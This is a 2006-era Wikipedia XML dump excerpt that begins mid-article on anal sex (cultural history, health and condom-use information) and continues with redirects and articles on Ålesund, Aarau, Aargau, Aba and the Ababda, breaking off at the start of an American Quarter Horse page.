In modern times in Western cultures, anal sex is popularly associated with gay men, and studies (Lauman, for example) claim that about 80% of gay men in the United States have engaged in anal sex. 

Not all gay/[[bisexuality|bi]] men, however, regularly engage in anal sex or find it pleasurable. It may be that some gay/bi men try anal sex once, or a few times, and then rarely, if ever, engage in the practice again. Others may never try it at all. Some may reserve it only for committed relationships. Since data on gay (or bi) sexual behavior tends to arouse such controversy, it is difficult to make solid claims in this area.   

While some gay/bi male couples comprise an &quot;active&quot; partner and a &quot;receptive&quot; partner (a [[top (sex)|top]] and a [[bottom (sex)|bottom]]) this is not true of all gay/bi couples who practice anal sex: many gay/bi men who have anal sex both &quot;top&quot; and &quot;bottom&quot; at different times, also known as &quot;versatile&quot; or &quot;switch.&quot;  

Several [[gay slang]] terms are generally reserved for anal sex between two males, such as &quot;[[barebacking]]&quot; which refers to unprotected anal intercourse, ie. intercourse without the use of a condom.

== Cultural issues ==
[[Image:Suzuki Harunobu Shunga.jpg|thumb|[[Suzuki Harunobu]], ''Shunga''.]]

Historically, several cultures, such as [[homosexuality in Japan|medieval Japan]] and others are known to have been normative practitioners of male-male anal intercourse, often in the context of a mentor-student relationship between an adolescent male and an adult man (see [[pederasty]]).  Some claim that the males who participated in such relationships cannot properly be called [[homosexuality|homosexual]], arguing that in classical cultures such distinctions did not exist, and participation in these male-male relationships did not preclude sex with women.

The practice is thought to have been so common in [[Ancient Greece]] that the term &quot;Greek love&quot; was used to refer to the practice, and in modern times, &quot;Greek&quot; is sometimes used as [[slang]] for anal sex.  

The view that homosexual anal sex was a commonly accepted practice in Ancient Greece is widely disputed. Some literature has argued that the important social transgression was lowering oneself socially, that is, a high status person was not supposed to be penetrated by a lower status person, and thus passive anal intercourse by men was frowned upon in Ancient Greece and considered a serious moral transgression. Certainly, male passive anal intercourse was (officially) frowned-upon in Rome. Others have argued that in Greece, rather than anal sex, male-male couples actually engaged in non-penetrative [[interfemoral intercourse]].  However, this view has been disputed.   The historian K.J. Dover discusses these matters thoroughly in his classic work [[Greek Homosexuality]].

It has been argued that the alleged ancient aversion to male passive anal intercourse has fueled the long-standing moral disapproval of homosexuality. 



In several cultures, notably Japan, records (including detailed [[woodblock prints]]) leave no question that male-male couples did engage in penetrative anal intercourse.

The 19th century anthropologist [[Richard Francis Burton]] has theorized that there is a geographical [[Sotadic zone]] wherein male/male penetrative intercourse is particularly prevalent and accepted; moreover he was one of the first writers to advance the premise that such an orientation is biologically determined {{ref|burton1885}}.

In many cultures, even those where female receptive anal intercourse is considered normative, male receptive anal intercourse, even in a heterosexual context, is seen as taboo, or as less common.  In some cultures anal sex is so commonly linked with homosexuality that any male who engages in receptive anal intercourse is considered homosexual, even if he is penetrated by a female partner with a [[strap-on dildo]] ([[pegging (sexual practice)|pegging]]) or with her hand, fingers or [[Fisting|fist]]. In some cultures, only males who are penetrated by other males are considered homosexual, while males who penetrate other males are not.

Some women, both lesbians and heterosexual women, practice anal sex as the &quot;active&quot; partner, using fingers or sex toys to penetrate their partners.

== Health issues ==
Unprotected sex, including anal sex, is an effective means of transmitting [[Sexually-transmitted infection|sexually transmitted diseases]] (STDs). According to health-care professionals, [[condom]]s should always be used for anal intercourse, but they should not be considered an absolute safeguard. In principle, anal sex with anyone known to have a sexually transmissible disease, and indeed with anyone whose disease status has not been determined, should be avoided. HIV testing, however, can be unreliable; it is possible for someone who is  tested to receive a &quot;false negative&quot;. This advice applies to all sexual activity that effectively transmits STDs.

Anal penetration carries some risks which [[vaginal intercourse]], [[oral sex]], and &quot;[[outercourse]]&quot; do not. These are mostly due to two factors:

* The rectum and large intestine, unlike the vagina, do not contain their own [[vaginal lubrication|lubricating]] mechanism, which means friction or insertion damage can happen more easily. Also, the [[Biological tissue|tissue]]s in these areas are particularly delicate and susceptible to tearing, and the intestine as a whole twists and is much less strongly muscled and padded, which means physical injury is somewhat easier too. This is especially the case when using [[sex toy]]s, because forceful insertion of large or sharp objects can damage or even rupture it much more easily. 

* Part of the rectum's function is to absorb fluid into the blood stream, so it has strong blood circulation and is an easy barrier to cross if there is even a small tear in the intestinal lining; therefore infections can be transmitted easily. 

These risks can be mitigated by the use of [[personal lubricant]] and condoms, and taking care while using sex toys. Like all forms of penetrative sex with a non-exclusive partner, condoms should always be used for anal intercourse, but they should not be considered an absolute safeguard. Oil-based lubricants like [[Petroleum jelly|Vaseline]], however, destroy [[latex]] condoms, and the two should not be used together. Basic blood tests can be used to determine HIV status but may result in &quot;false positives&quot; or &quot;false negatives&quot;, and it is recommended that a person retest every six months to show a reliable reaction.

Since the rectal tissues are so easily damaged, and since the anorectal muscles are largely under involuntary control, slow, gentle, and responsive insertion is necessary to avoid pain and tearing. 

It is also very important to be careful when inserting objects into the anus. Objects with edges or points can cause severe injury. Moreover, objects could get lodged in the rectum, requiring medical intervention; hospital records confirm how inventive human beings can be in discovering objects to insert into their rectums. For this reason, most modern [[dildo]]s are made with flared bases. Additionally, nothing longer than eight inches (20 cm) should be inserted into the rectum without care and preparation. Objects forced more than seven or eight inches (17-20 cm) into the body risk colliding with the [[sigmoid colon]], a bend in the intestine, and in cases of rough handling, trauma can result in internal bleeding with potentially fatal results.

Nothing that has been placed in or at the anus, including fingers, should ever contact the vagina or the mouth, either externally or internally, without being thoroughly washed with anti-bacterial soap or a similar disinfectant, to avoid infection caused by the transmission of [[bacteria]] or by feces becoming lodged internally. Condoms can be placed over sex toys and latex or nitrile gloves can be worn to protect the hands and fingers. These should be used once and then discarded. Objects inserted in the anus should be washed carefully after every use. Shared sex toys can also transmit disease or infection, and should be thoroughly cleaned between use or be covered with a condom that is discarded between users. Silicone, metal acrylic, and glass dildos may be sterilized via cleaning and boiling instead. (See [[masturbation]] for more information on the use of sex toys.)

Some couples engage in &quot;[[felching]],&quot; where the top sucks out the semen he has deposited in the anus of the bottom as a result of &quot;bareback&quot; anal intercourse.  Like [[rimming]], this practice carries with it considerable health risks.

Like any form of sex, anal sex is rendered much more dangerous under the influence of [[Alcoholic beverage|alcohol]] or [[Recreational drug use|drugs]], which reduce responses, judgment, and ability to pay attention to one's own needs.

===Condoms &amp; Anal Sex===
[[Condom]]s are known to be less effective and more prone to burst or slip during anal sex than vaginal sex. It has been estimated that condoms fail anywhere from 10% - 32% of the time during anal sex. {{ref|silverman1997}} Due to this [[Durex]] has added a warning to boxes of their condoms saying &quot;for vaginal sex only&quot;.

== References ==
=== Footnotes ===
# {{note|freud1905}} [http://72.14.203.104/search?q=cache:4iwXw_EdfXYJ:facultyweb.anderson.edu/~psycst/perth/Priv/essays.html Freud, S. 1905 - THREE ESSAYS ON THE THEORY OF SEXUALITY]
# {{note|burton1885}} [http://www.fordham.edu/halsall/pwh/burton-te.html Sir Richard Francis Burton: &quot;Terminal Essay&quot;, from his translation of The Arabian Nights, 1885 - Section D: Pederasty]
# {{note|silverman1997}} Silverman B G et al, &quot;Use and Effectiveness of Condoms During Anal Intercourse&quot; in ''Sexually Transmitted Diseases'', Vol. 24, No. 1, January 1997, page 14

== Legal issues ==
''See [[Sodomy law]].''

== Religious views ==
''See [[Religion and sexual orientation]].''

==Further reading==
*Bentley, Toni ''The Surrender: An Erotic Memoir'', Regan Books, 2004.
*Houser, Ward ''Anal Sex.'' [http://williamapercy.com/pub-EncyHom.htm '''Encyclopedia of Homosexuality.'''] Dynes, Wayne R. (ed.), Garland Publishing, 1990. pp. 48-50.
*Morin, Jack ''Anal Pleasure &amp; Health: A Guide for Men and Women'', Down There Press, 1998.
*Taormino, Tristan ''Ultimate Guide to Anal Sex for Women'', Cleis Press, 1997, 2006.

==See also==
*[[Anal-oral contact]]
*[[Anal masturbation]]
*[[Anal orgasm]]
*[[Ass to mouth]], aka &quot;ATM&quot; or &quot;A2M&quot;
*[[Ass to pussy]]
*[[Barebacking]]
*[[Buggery Act]] (UK)
*[[Cum fart]]
*[[Fisting]]
*[[List of anal sex positions]]
*[[Santorum controversy]]
*[[Sexual slang]]
*[[Splash conception]]
*[[Strap-on dildo]]
*[[Tristan Taormino]]

[[Category:Anal eroticism]]
[[Category:Sexology]]
[[Category:Sexual acts]]

[[bg:Анален секс]]
[[cs:Anální sex]]
[[da:Analsex]]
[[de:Analverkehr]]
[[es:Sexo anal]]
[[fi:Anaaliseksi]]
[[fr:Sodomie]]
[[it:Sesso anale]]
[[ja:アナルセックス]]
[[lt:Analinis seksas]]
[[nl:Anale seks]]
[[pl:Stosunek analny]]
[[pt:Sexo anal]]
[[ru:Анальный секс]]
[[simple:Anal sex]]
[[sv:Analsex]]
[[zh:肛交]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic and Logical Unit</title>
    <id>2461</id>
    <revision>
      <id>15900870</id>
      <timestamp>2005-04-02T15:48:54Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[arithmetic logic unit]]</comment>
      <text xml:space="preserve">#REDIRECT [[arithmetic logic unit]]</text>
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  </page>
  <page>
    <title>Anti-Globalization Movement</title>
    <id>2462</id>
    <revision>
      <id>15900871</id>
      <timestamp>2004-07-22T01:40:26Z</timestamp>
      <contributor>
        <username>Wclark</username>
        <id>83717</id>
      </contributor>
      <minor />
      <comment>fixed double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-globalization]]</text>
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    <title>Anti-globalization movement</title>
    <id>2463</id>
    <revision>
      <id>24058216</id>
      <timestamp>2005-09-26T06:57:38Z</timestamp>
      <contributor>
        <username>Fvw</username>
        <id>20759</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/67.164.60.250|67.164.60.250]] to last version by Sam Spade</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-globalization]]</text>
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    <title>Anti-globalisation movement</title>
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        <username>Wclark</username>
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      <comment>fixed double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-globalization]]</text>
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      <timestamp>2006-03-03T18:34:35Z</timestamp>
      <contributor>
        <username>Orcaborealis</username>
        <id>389163</id>
      </contributor>
      <comment>/* Basics */ adding coldest temperature</comment>
      <text xml:space="preserve">{{Infobox_Kommune|
name=Ålesund|
idnumber=1504|
county=[[Møre og Romsdal]]|
landscape=[[Sunnmøre]]|
capital=Ålesund|
governor=[[Arve Tonning]] ([[Høyre|H]])|
governor_as_of=2003|
arearank=388|
area=98|
arealand=93|
areapercent=0.03|
population_as_of=2004|
populationrank=18|
population=40,001|
populationpercent=0.87|
populationdensity=430|
populationincrease=9.5|
language=[[Norwegian language|Neutral]]|
lat_deg=62| lat_min=28| lat_sec=40| lon_deg=6| lon_min=11| lon_sec=25|
utm_zone=32V| utm_northing=6930569 |utm_easting=0355180| geo_cat=adm2nd|
coatofarms=[[Image:Alesund_komm.png|70px]]|
map=[[Image:Ålesund kart.png]]|
munwebpage=www.alesund.kommune.no|
}}
== Basics ==
[[Image:aksla_aalesund_MH5Y3793_2.jpg|320px|left|View from Aksla onto Ålesund]]
'''Ålesund''' is a city and [[municipalities of Norway|municipality]] in the [[counties of Norway|county]] of [[Møre og Romsdal]], [[Norway]]. It is a sea port, 236 km north northeast of [[Bergen, Norway|Bergen]], and is noted for its unique concentration of [[Jugendstil]] or [[Art Nouveau]] [[architecture]].  

It occupies seven of the outer islands of the west coast, [[Hessa]], [[Aspøy]] and [[Nørvøy]],Yksnøy, Ellingsøy, Humla and Tørla which enclose the picturesque town. Ålesund has a pronounced [[maritime climate]] with mild and windy winters. The coldest temperature ever recorded at [[Vigra Airport]] is a mere -11&amp;deg;C (12&amp;deg;F). Ålesund received city rights in 1848, it is the administrative center as well as the principal shipping-place of the ''[[Sunnmøre]]'' district, and was one of the chief stations of the [[herring]] fishery in the [[1950s]] and [[1960s]].

Legend has it that ''Gangerolf'', outside of Norway better known as [[Rollo of Normandy|Rollo]], the [[10th century]] founder of the dynasty of the dukes of [[Normandy]], comes from the community of Giske, north west of Ålesund.
In the night of [[January 23]], [[1904]], the city was the scene of the [[Ålesund Fire]], one of the most terrible of the many conflagrations to which Norwegian towns, once built largely of wood, have been subjected.  Practically the whole town was destroyed, a gale aiding the flames, and the population had to leave the place in the middle of the night with only a few minutes' notice. 

[[Wilhelm II of Germany|Kaiser Wilhelm]] of [[Germany]] had often vacationed in Sunnmøre.  After the fire, the Kaiser sent 4 ships with material to aid in the reconstruction. The town was rebuilt  in the [[Jugendstil]] architectural style (the German version of Art Noveau) with turrets, spires, and ornamentation. The structures were designed  by Norwegian architects educated in Trondheim, drawing inspiration from various styles throughout Europe, i.e Germany, Scotland, France, Belgium and Spain. The style was at its peak in Europe in 1900 and visitors can enjoy an unusually consistent architectural style.  

The local newspaper is [[Sunnmørsposten]].

The local [[football (soccer)|football]] team, [[Aalesunds Fotballklubb]] (AaFK), founded in 1914, played in the [[Norwegian Football League teams|Norwegian premier league]] for the first time in the 2003 season, and after 1 year in the 1. division in 2004, they are now back in the Tippeliga. The team's new arena, Color Line Stadion, opened 16th April 2005, a beautiful arena only 1 km outside town center.
The opening match was against Odd, and took place at 19.00 hours the same date. Ålesund won 2-1.
The local supporter club for Aafk is called &quot;Stormen&quot; or &quot;The Storm&quot; and the members are about 2000 local supporters living all over Norway showing off impressive patriotism at all home games, and also, in lesser numbers, at away games.
Unfortunately the 2005 season turned out bad for Aafk, and in spite of heroic fights at the end of the season, the team has to prepare for another season i 1.sivisjon in 2006.  However, the support from the people and industry in the region is quite impressive, and the goal is quite clear: Tippeligaen in 2007, and there to stay.
Several new players have been bought to strengthen the team, and the new coach, Per Joar Hansen(ex. RBK), seem to have what it takes to take the step again, into the top-team league in Norway.  Good Luck, Aafk!

== Economy == 
[[Image:hurtigr_aalesund_MH5Y3639_2.jpg|thumb|240px|MS Polarlys in Ålesund (December 2005)]]
Today Ålesund has one of the largest and important fishing harbors in Norway. Their fishing fleet belongs to one of the most modern in Europe. 
Ålesund is also one of the harbours the [[Hurtigruten]] is arriving a few times a week. The Hurtigruten, once known as the post ship fleet of Norway, is a favorite way to travel around Norway's coast.
&lt;br clear=&quot;right&quot; /&gt;

== Tourism ==
Ålesund is adjacent to the [[Hjørundfjord|Hjørund]] and [[Geirangerfjord|Geiranger]] [[fjord]]s, frequented by tourists.  From Øye at the head of [[Hjørundfjord]] a road strikes south to the [[Nordfjord]], and from Maråk on [[Geiranger]]fjord another strikes inland to [[Otta]]. From [[Åndalsnes]], 120 km east of Ålesund, the railway line ''[[Raumabanen]]'' goes to Dombås, then southwards on the ''[[Dovrebanen]]'' railway to [[Lillehammer]] and [[Oslo]].  Ålesund is a port of call for passenger and freight vessels travelling between [[Bergen, Norway|Bergen]], [[Kingston upon Hull]], [[Newcastle upon Tyne|Newcastle]], [[Hamburg]], and [[Trondheim]], including the daily [[Hurtigruta]] (Norwegian Coastal Express ships).  

Ålesund is the site of an annual Norwegian Food Festival.

== Sightseeing/Interesting places ==
* Aksla with [http://www.fjellstova.no/ Fjellstova]
* [http://www.atlanterhavsparken.no/ Atlanterhavsparken Ålesund Akvarium]

{| border=&quot;1&quot; style=&quot;border-collapse:collapse&quot; cellpadding=&quot;2&quot;
|-
| [[Image:Alesund_harbour.jpg|thumb|none|160px|The inner harbour in winter]]
| [[Image:Photo_Aalesund_petite.jpg|thumb|none|200px|Ålesund]]
|}
&lt;br clear=&quot;right&quot; /&gt;

== Institutions of higher learning ==
* [[Aalesund University College]] (Høgskolen i Ålesund)

{{Wikisource1911Enc|Aalesund}}

==Nature==
Ålesund is surrounded by beautiful natural scenery, including tall mountains and deep fjords.

==External link==

*[http://www.jugendstil.no/galleri/gall.html Pictures of the buildings of Ålesund].  This web site is mostly in Norwegian, but there is some text in German, French, and English.

{{Møre_og_Romsdal}}
{{25 biggest cities of Norway}}

[[Category:Møre og Romsdal]]
[[Category:Municipalities of Norway]]
[[Category:Cities in Norway]]

[[de:Ålesund]]
[[et:Ålesund]]
[[fr:Ålesund]]
[[gl:Aalesund]]
[[it:Ålesund]]
[[nl:Ålesund]]
[[no:Ålesund]]
[[nn:Ålesund]]
[[pl:Ålesund]]
[[pt:Ålesund]]
[[fi:Ålesund]]
[[sv:Ålesund]]</text>
    </revision>
  </page>
  <page>
    <title>Aarau</title>
    <id>2466</id>
    <revision>
      <id>35211398</id>
      <timestamp>2006-01-15T00:42:48Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">[[Image:Aarau Altstadt.jpg|thumb|left|Aarau]]
{{Infobox_Swiss_town|subject_name=[[Image:Aarau blason.png|89px|none|center|An eagle on a white shield with red band above depicts Aarau's coat of arms]]|
canton=Aargau|
district=[[Aarau (district)]]|
nd=47|nm=24|ed=8|em=03|
postal_code=5000|
population=15649|populationof=June 2005|
area=8.94|altitude=381|
mayor=Marcel Guignard &lt;small&gt;(2004  [[Free_Democratic_Party_of_Switzerland|FDP]])&lt;/small&gt;|
website=www.aarau.ch|
neighboring_municipalities= [[Rohr (Aargau)|Rohr]], [[Buchs (Aargau)|Buchs]], [[Suhr (Aargau)|Suhr]], [[Unterentfelden]], [[Eppenberg-Wöschnau]], [[Erlinsbach]]  |
map=[[Image:Aarau_location.png|120px]]}}
&lt;div style=&quot;clear: right; float: right&quot;&gt;&lt;/div&gt;
{{CHdot|Aarau}}
'''Aarau''' is the capital of the [[Switzerland|Swiss]] canton of [[Aargau]]. It is predominantly [[German language|German]]-speaking and [[Protestantism|Protestant]]. Aarau is situated in the valley of the [[Aar]], on the river's right bank, and at the southern foot of the [[Jura mountains]].

An ancient fortress, Aarau was taken by the [[Bern]]ese in [[1415]], and in [[1798]] became for six months (March to [[September]]) the capital of the [[Helvetic Republic]].


{{Commons|Aarau}}
{{Wikisource1911Enc|Aarau}}

{{Switzerland-geo-stub}}
[[Category:Cities in Switzerland]][[Category:Cantonal capitals of Switzerland]][[Category:Municipalities of Aargau]]

{{Link FA|de}}

[[als:Aarau]]
[[cs:Aarau]]
[[de:Aarau]]
[[es:Aarau]]
[[fr:Aarau]]
[[gl:Aarau]]
[[ko:아라우]]
[[it:Aarau]]
[[ja:アーラウ]]
[[nl:Aarau (stad)]]
[[pl:Aarau]]
[[pt:Aarau]]
[[ro:Aarau]]
[[ru:Аарау]]
[[fi:Aarau]]
[[sv:Aarau]]</text>
    </revision>
  </page>
  <page>
    <title>Aargau</title>
    <id>2467</id>
    <revision>
      <id>41555770</id>
      <timestamp>2006-02-28T03:10:12Z</timestamp>
      <contributor>
        <username>Sidious1701</username>
        <id>657229</id>
      </contributor>
      <comment>{{otheruses}}</comment>
      <text xml:space="preserve">{{Infobox Canton|short_name=Aargau|
local_names=Aargau|
coa_img_path=Aargau.png|
locatormap_img_path=Swiss_Canton_Map_AG.png|
cantonalmap_img_path=Karte Kanton Aargau.png|
capital=[[Aarau]]|
area=1404|area_rank=10th|area_scale=9|
population=550900|population_rank=4th|population_asof=2003|
population_density=392|
since=1803|
abbr=AG|
languages=[[German language|German]]|
executive=Regierungsrat|executive_members=5|
legislative=[[Grosser Rat]]|parliament_members=140|
highest=Geissfluegrat|highest_m=908|
municipalities_number=232|
districts_designation=Bezirke|districts_number=11|}}
{{otheruses}}
'''Aargau''' ([[German language|German]] '''Aargau''', [[French language|French]] '''Argovie''', [[Italian language|Italian]] '''Argovia''', [[Romansh]] '''Argovia'''; anglicized '''Argovia''') is one of the more northerly [[Cantons of Switzerland|cantons]] of [[Switzerland]]. It comprises the lower course of the [[river]] [[Aar]], which is why the canton is called Aargau (meaning ''Aar district'').

==Geography==
Its total area is 1,404 km&amp;sup2;, its population is 550,000 (as of 2002). The capital is [[Aarau]]. It borders [[Germany]] to the north. To the west lie the cantons of [[Basel-Landschaft]], [[Canton of Solothurn|Solothurn]] and [[Canton of Bern|Bern]]. The canton of [[Canton of Lucerne|Lucerne]] lies south of the canton of Aargau, [[Canton of Zürich|Zürich]] and [[Canton of Zug|Zug]] to the east.

The canton of Aargau is one of the least mountainous Swiss cantons, forming part of a great table-land, to the north of the [[Alps]] and the east of the [[Jura mountains|Jura]], above which rise low hills.  The surface of the country is beautifully diversified, undulating tracts and well-wooded hills alternating with fertile valleys watered mainly by the Aar and its tributaries. The valleys alternate with pleasant hills, most of which are wooded.

It contains the famous hot sulphur springs of [[Baden, Switzerland|Baden]] and [[Schinznach]], while at [[Rheinfelden]] there are very extensive saline springs. Just below [[Brugg]] the [[Reuss River|Reuss]] and the [[Limmat]] join the Aar, while around Brugg are the ruined castle of [[Habsburg]], the old convent of [[Koenigsfelden]] (with fine painted medieval glass) and the remains of the [[ancient Rome|Roman]] settlement of ''Vindonissa'' ([[Windisch]]).

==History==
Argovia was the border region between [[Alamannia]] and [[Burgundy]], and was a disputed territory between these duchies. From the end of the [[Hohenstaufen]] dynasty up to 1415, it was ruled by the [[Habsburgs]], and many historical old castles can be found there. Examples include Habsburg, Lenzburg and Wildegg. There is also a number of former monasteries, such as in Wettingen and Muri. All of these were founded by the Habsburg family. They were closed by the government in 1841, which was one of the causes of the civil war called the &quot;[[Sonderbund War]],&quot; in 1847 in Switzerland.  Aargau is also believed to be the ancestral home of Reformist author [[George Mangold]] ([[1822-1894]]).

In 1415 the Aargau region was taken from the Habsburgs by the Swiss Confederates. [[Bern]] kept the south-west portion ([[Zofingen]], [[Aarburg]], [[Aarau]], [[Lenzburg]], and [[Brugg]]). Some districts, named the ''Freie Ämter'' or ''free bailiwicks'' (Mellingen, Muri, Villmergen, and Bremgarten), with the countship of Baden, were ruled as ''subject lands'' by all or certain of the Confederates. 

[[10 March]] - [[18 April]] [[1798]] it was under French occupation, thereafter the Bernese portion became the canton of Aargau of the [[Helvetic Republic]], the remainder forming the [[Canton of Baden]]. In 1803, the two halves were united under the name of canton of Aargau, which was then admitted a full member of the reconstituted Confederation. The [[Fricktal]], ceded in 1802 by [[Austria]], via Napoleonic France, to the Helvetic Republic, was shortly a separate Swiss canton under a ''[[Statthalter]]'' ('Lieutenant'), but on [[9 March]] [[1803]] became incorporated as part of the canton Aargau. 
The chief magistracy of Aargau changed its style repeatedly:
*first two consecutive ''[[Regierungsstatthalter]]'' : 
**April 1798 - November 1801 Jakob Emmanuel Feer (b. 1754 - d. 1833)  
**1802 - 1803 Johann Heinrich Rothpletz          (b. 1766 - d. 1833) 
*Presidents of the Government Commission 
**[[10 March]] [[1803]] - [[26 April]] [[1803]]  Johann Rudolf Dolder (b. 1753 - d. 1807) 
**[[26 April]] [[1803]] - 1815 a 'Small Council' (president rotating monthly) 
*annual ''[[Amtsbürgermeister]]'' 1815-1831
*annual ''[[Landammänner]]'' since 1815 

In the year 2003 the canton Aargau celebrated its 200&lt;sup&gt;th&lt;/sup&gt; birthday.

For centuries, two villages in the Aargau, Endingen and Lengnau, were the only places in Switzerland where Jews were permitted to live. They were not permitted to own houses or to live under the same roof with Christians. For the slow process of Jewish emancipation in Aargau and Switzerland, see link below.

==Economy==
The lands of the canton of Aargau are of the most fertile in Switzerland. [[Dairy farming]], crops and fruits are of the principal economic activities in the canton. Industry is developed, particularly in electrical engineering, precision instruments, [[iron]], [[steel]] and [[cement]].

Three out of four of Switzerland's nuclear power plants are in the canton of Aargau (Beznau, Gösgen and Leibstadt). Additionally the many rivers supply enough water for a lot of hydroelectrical power plants throughout the canton. The canton of Aargau is often called &quot;the energy canton&quot;.

A significant number of people commutes into the financial centre of the city of [[Zürich]] just across the cantonal border.

Tourism is of significant size, particularly caused by the hot springs at Baden and Schinznach Bad. Hillwalking is another source of tourists, but only of limited significance.

==Municipalities==
There are a total of 231 municipalities in the canton of Aargau.

''See also:'' [[municipalities of the canton of Aargau]], [[municipalities of Switzerland]]

== [[Districts of Switzerland|Districts]] ==
{{Template:Canton Aargau districts}}


==See also==
*[[Aargauer Zeitung]]

==Sources and External links==
{{Wikisource1911Enc|Aargau}}
*[http://www.ag.ch Official website] (German)
*[http://www.statistik.admin.ch/stat_ch/ber00/ekan_ag.htm Official Statistics]
*[http://www.jewishencyclopedia.com/view.jsp?artid=3&amp;letter=A ''Jewish Encyclopedia'':] aargau
*[http://www.worldstatesmen.org/Swiss_Cantons1.html#Aargau WorldStatesmen- Swiss Cantons]

{{Switzerland}}

[[Category:Aargau]]

[[als:Kanton Aargau]]
[[ca:Argòvia]]
[[cs:Aargau]]
[[da:Aargau]]
[[de:Aargau]]
[[es:Cantón de Argovia]]
[[eo:Argovio]]
[[fr:Argovie]]
[[gl:Argovia]]
[[ko:아르가우 주]]
[[it:Canton Argovia]]
[[la:Argovia]]
[[hu:Aargau]]
[[nl:Aargau]]
[[pl:Argowia]]
[[pt:Argóvia]]
[[rm:Argovia]]
[[ru:Ааргау]]
[[fi:Aargau]]
[[sv:Aargau]]</text>
    </revision>
  </page>
  <page>
    <title>Aarons Rod</title>
    <id>2468</id>
    <revision>
      <id>15900877</id>
      <timestamp>2002-04-21T10:24:43Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>wikipedia now allows apostrophes =&amp;gt; Aaron's rod</comment>
      <text xml:space="preserve">#REDIRECT [[Aaron's rod]]</text>
    </revision>
  </page>
  <page>
    <title>Ab</title>
    <id>2469</id>
    <revision>
      <id>28905720</id>
      <timestamp>2005-11-21T13:32:30Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>added R-template</comment>
      <text xml:space="preserve">#REDIRECT [[AB]] {{R from other capitalisation}}</text>
    </revision>
  </page>
  <page>
    <title>Aba</title>
    <id>2470</id>
    <revision>
      <id>40184113</id>
      <timestamp>2006-02-18T20:32:52Z</timestamp>
      <contributor>
        <username>Alensha</username>
        <id>48054</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Wiktionarypar|Aba}}
'''Aba''' can refer to:
* [[Aba, Nigeria]]
* [[Aba, Sichuan]], a city in China
* [[Aba, Okayama]], a village in Japan
* [[Aba, Hungary]], a village in [[Fejér|Fejér county]], [[Hungary]]

==See also==
* [[ABA]]

&lt;!--
* Aba, a location in [[Afghanistan]]
* A form of altazimuth instrument, invented by, and called after, [[Antoine d'Abbadie]]
* a rough homespun manufactured in [[Bulgaria]]
* a long coarse shirt worn by the [[Bedouin]] [[Arab]]s
--&gt;

{{disambig}}

[[de:Aba]]
[[et:Aba]]
[[fr:Aba]]
[[it:Aba]]
[[hu:Aba]]
[[pl:Aba]]
[[ru:Аба]]</text>
    </revision>
  </page>
  <page>
    <title>Ababda</title>
    <id>2471</id>
    <revision>
      <id>40843296</id>
      <timestamp>2006-02-23T10:29:33Z</timestamp>
      <contributor>
        <username>Yms</username>
        <id>849938</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Ababda''' (or '''Ababde''') (the Gebadei of [[Pliny the Elder|Pliny]], possibly the [[Troglodyte]]s of classical writers), are a [[nomad]] [[tribe]] of [[Africa]]n [[Bedouin]]s, a subgroup of the [[Beja people]]; some still speak the [[Cushitic]] [[Beja language]], while others speak [[Arabic language|Arabic]].

They extend from the [[Nile]] at [[Aswan]] to the [[Red Sea]], and reach northward to the Kena-Kosseir road, thus occupying the southern border of [[Egypt]] east of the Nile. They call themselves &quot;sons of the Jinns.&quot; With some of the clans of the [[Bisharin]] and possibly the [[Hadendoa]] they represent the [[Blemmyes]] of classic geographers, and their location today is almost identical with that assigned them in [[ancient Rome|Roman]] times.

They were constantly at war with the Romans, who eventually conquered them. In the middle ages they were known as Beja, and convoyed pilgrims from the Nile valley to [[Aidhab]], the port of embarkation for [[Jedda]]. From time immemorial they have acted as guides to caravans through the [[Nubia]]n desert and up the Nile valley as far as Sennar.

They intermarried with the Nuba, and settled in small colonies at [[Shendi]] and elsewhere up to [[Muhammad Ali of Egypt|Mehmet Ali]]'s conquest of the region in the early 19th century. They are still great trade carriers, and visit very distant districts.

[[As of 1911]], the Ababda of Egypt numbered some 30,000, and were governed by an hereditary &quot;chief&quot;. Although nominally a vassal of the Khedive, he paid no tribute. Indeed he was paid a subsidy, a portion of the road-dues, in return for his safeguarding travellers from [[Bedouin]] robbers. The sub-[[sheikh]]s were directly responsible to him.

The Ababda of [[Nubia]], according to Joseph von Russegger who visited the country in [[1836]], number some 40,000, but have since diminished, probably amalgamated with the Bisharin, their hereditary enemies.  The Ababda generally speak Arabic (mingled with [[Barabra]] [[Nubian Language|Nubian]] words), the result of their long-continued contact with Egypt; but the southern and south-eastern portion of the tribe in many cases still retain their Beja language, To Bedawie. Those of [[Kosseir]] would not speak this before strangers in 1911, as they believed that to reveal the mysterious dialect would bring ruin on them.

{{Wikisource1911Enc|Ababda}}
{{1911}}

==External links==
*[http://puck.wolmail.nl/~kosc/Ababda%20folder/ababda.html Zbigniew Kosc: Ababda Bedouins of the Eastern Desert]

[[Category:Ancient Roman enemies and allies]]

[[de:Ababde]]
[[pl:Ababde]]
[[ru:Абабде]]
[[sv:Ababde]]</text>
    </revision>
  </page>
  <page>
    <title>American Quarter Horse</title>
    <id>2472</id>
    <revision>
      <id>40551819</id>
      <timestamp>2006-02-21T10:39:18Z</timestamp>
      <contributor>
        <username>Pebs96</username>
        <id>688694</id>
      </contributor>
      <comment>/* External links */</comment>
